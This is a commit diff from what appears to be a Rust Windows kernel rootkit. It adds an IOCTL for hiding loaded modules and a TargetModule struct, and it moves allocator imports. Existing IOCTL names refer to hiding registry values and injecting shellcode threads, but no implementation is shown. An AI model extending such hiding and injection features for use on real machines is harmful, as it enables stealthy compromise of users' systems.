Some(PoolMemory {
ptr,
})
}
}
}
impl Drop for PoolMemory {
fn drop(&mut self) {
if !self.ptr.is_null() {
unsafe { ExFreePool(self.ptr) };
}
}
}

View File

@@ -45,6 +45,7 @@ pub const IOCTL_HIDE_UNHIDE_VALUE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x820, M
// Module // Module
pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_ENUMERATE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x821, METHOD_NEITHER, FILE_ANY_ACCESS);
pub const IOCTL_HIDE_MODULE: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x822, METHOD_NEITHER, FILE_ANY_ACCESS);
// Injection // Injection
pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS); pub const IOCTL_INJECTION_SHELLCODE_THREAD: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x823, METHOD_NEITHER, FILE_ANY_ACCESS);

View File

@@ -1,5 +1,7 @@
#![no_std] #![no_std]
extern crate alloc;
pub mod ioctls; pub mod ioctls;
pub mod vars; pub mod vars;
pub mod structs; pub mod structs;

View File

@@ -1,4 +1,3 @@
extern crate alloc;
use crate::vars::Callbacks; use crate::vars::Callbacks;
// Callback Information for Enumeration (Output) // Callback Information for Enumeration (Output)

View File

@@ -1,5 +1,3 @@
extern crate alloc;
use core::sync::atomic::AtomicPtr; use core::sync::atomic::AtomicPtr;
use super::LIST_ENTRY; use super::LIST_ENTRY;
use ntapi::ntldr::LDR_DATA_TABLE_ENTRY; use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;

View File

@@ -1,4 +1,4 @@
extern crate alloc;
pub struct TargetInjection { pub struct TargetInjection {
pub pid: usize, pub pid: usize,

View File

@@ -6,3 +6,11 @@ pub struct ModuleInfo {
pub name: [u16; 256], pub name: [u16; 256],
pub index: u8, pub index: u8,
} }
// Enumerate Modules
#[repr(C)]
#[derive(Debug)]
pub struct TargetModule {
pub pid: usize,
pub module_name: alloc::string::String,
}

View File

@@ -1,5 +1,3 @@
extern crate alloc;
// Stores the target registry // Stores the target registry
#[repr(C)] #[repr(C)]
#[derive(Debug, Default)] #[derive(Debug, Default)]